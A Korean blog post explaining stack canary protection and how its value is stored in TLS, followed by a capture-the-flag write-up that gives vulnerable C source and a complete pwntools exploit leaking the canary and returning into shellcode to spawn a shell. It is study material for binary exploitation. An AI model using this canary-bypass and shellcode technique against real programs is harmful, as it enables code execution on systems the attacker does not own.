Canary 보호 기법

컴컴한해커·2025년 2월 10일

시스템 해킹

목록 보기
3/6

📌 Canary란?

함수의 프롤로그에서 스택 버퍼와 반환 주소 사이에 임의의 값을 삽입하고, 에필로그에서 값의 변조를 확인하여 버퍼 오버플로우를 막는 보호 기법.


📌 Canary 유무 비교

  1. checksec으로 활성화된 보호 기법 확인

    확인해 보면 Canary, RELRO, PIE가 적용되어있는 것을 확인 할 수 있다.

  2. 함수의 프롤로그와 에필로그 확인
    Canary가 적용되기 전과 후의 코드를 비교하면 아래의 코드들이 추가되었다.

    • 프롤로그
    • 에필로그

📢 코드 분석

프롤로그 코드를 보면 fs 레지스터가 나온다.이 fs:0x28에 랜덤한 값이 생성되고 그 값을 rax에 저장된다. 다시 rax값은 rbp-0x8에 저장된다.

fs는 목적이 정해지지 않아 운영체제가 임의로 사용할 수 있는 레지스터로, 리눅스에서는 TLS(Thread Local Storage)를 가리키는 포인터로 사용한다.

에필로그 코드를 보면 rbp-0x8에 저장한 fs:0x28 값을 rcx에 저장한다. 그리고는 rbp-0x8fs:0x28값을 xor 시킨다. xor을 하였을 때, 두 값이 같으면 ZF=1이 될 것이고, 다르면 ZF=0이 나올 것이다. 이 값으로 JE 분기구문을 실행해서 만약 두 값이 같으면(변조가 되지 않았으면) 버퍼 오버플로우가 일어나지 않은 것으로 간주한다. 다르면 버퍼 오버 플로우가 일어난 것으로 간주하고 __stack_chk_fail@plt를 실행하고 프로세스가 강제 종료된다.


📌 Canary 생성 과정

앞에서 살펴봤듯이, fs:0x28에 저장되고, fsTLS를 가리킨다. 우리는 fs의 주소를 알면 canary값을 구할 수 있고, 이를 통해 Canary 보호 기법을 우회 할 수 있다.
그러나 fscs,ss,ds와 같이 info register fsprint $fs를 통해 값을 알 수 없다.

따라서 우리는 fs값을 설정할 때 호출되는 arch_prctl(int code, unsigned long addr) 시스템 콜에 중단점을 설정하여 fs에 어떤 값으로 설정되는지 확인할 수 있다.

catch syscall arch_prctl 명령어를 gdb에 입력하여 TLS 과정까지 진행한다.


이 TLS 과정에서 RDI = 0x1002를 가리키는데 이 값은 ARCH_SET_FS의 상수값이다. 그리고 RSI = 0x7ffff7fa8740을 가리키는데 이 값이 fs를 가리키게 되는 값이다.


📌 Canary 우회 관련 워게임 Write Up

해당 문제는 드림핵의 Return to Shellcode 문제를 Write up 한 것이다.

// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack

#include <stdio.h>
#include <unistd.h>

int main() {
  char buf[0x50];

  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);

  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);

  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);

  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);

  return 0;
}

📢 코드 분석

printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);

이 코드를 통해 buf의 주소, rbpbuf사이의 주소 차이를 확인 한다.

read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);

이 코드에서 buf는 0x50의 크기인데 0x100을 입력 받기 때문에 버퍼 오버플로우가 발생한다는 것을 알 수 있다.

📢 익스플로잇 설계

[1] Leak the canary 부분에서 Buf를 0x58만큼 dummy 값을 입력하여 Canary 직전까지 입력한다음, Canary값을 printf 문을 통해 입력받는다.
[2] Overwrite the return address 부분을 통해 Buf에 쉘코드를 입력하고, Canary, SFP를 모두 적절하게 입력한다. 그리고 RET 주소에 buf 주소를 입력하여 쉘코드를 실행시킨다. 이런 알고리즘으로 익스플로잇 코드를 작성하면 아래와 같다.

# r2s.py
from pwn import *

def slog(name,addr): return success(' : '.join([name,hex(addr)]))

context.arch = "amd64"
p = remote("host1.dreamhack.games", 16192)
shellcode = asm(shellcraft.sh())

p.recvuntil(b'buf: ')
buf =  int(p.recvline()[:-1],16)    
slog('buf',buf)

p.sendafter(b'Input: ',b'A'*89)
p.recvuntil(b"A" *89)
canary = u64(b"\x00" + p.recv(7))
slog('canary',canary)

payload = shellcode
payload += b'A'*(88-len(shellcode))
payload += p64(canary)
payload += b'A'*8
payload += p64(buf)

p.sendafter(b'Input: ',payload)
p.interactive()

결과

[+] Opening connection to host1.dreamhack.games on port 16192: Done
[+] buf : 0x7ffc49d28070
[+] canary : 0xb57808214d199e00
[*] Switching to interactive mode
$ ls
$ ls
flag
r2s
$ cat flag
DH{***************************}
[*] Got EOF while reading in interactive

문제 풀다보니 알고리즘은 문제가 없는데, sendlineafter랑 sendafter 등등을 혼용해서 사용하면 가끔식 잘못 페이로드가 보내진다. 이에 주의해서 사용하자.

0개의 댓글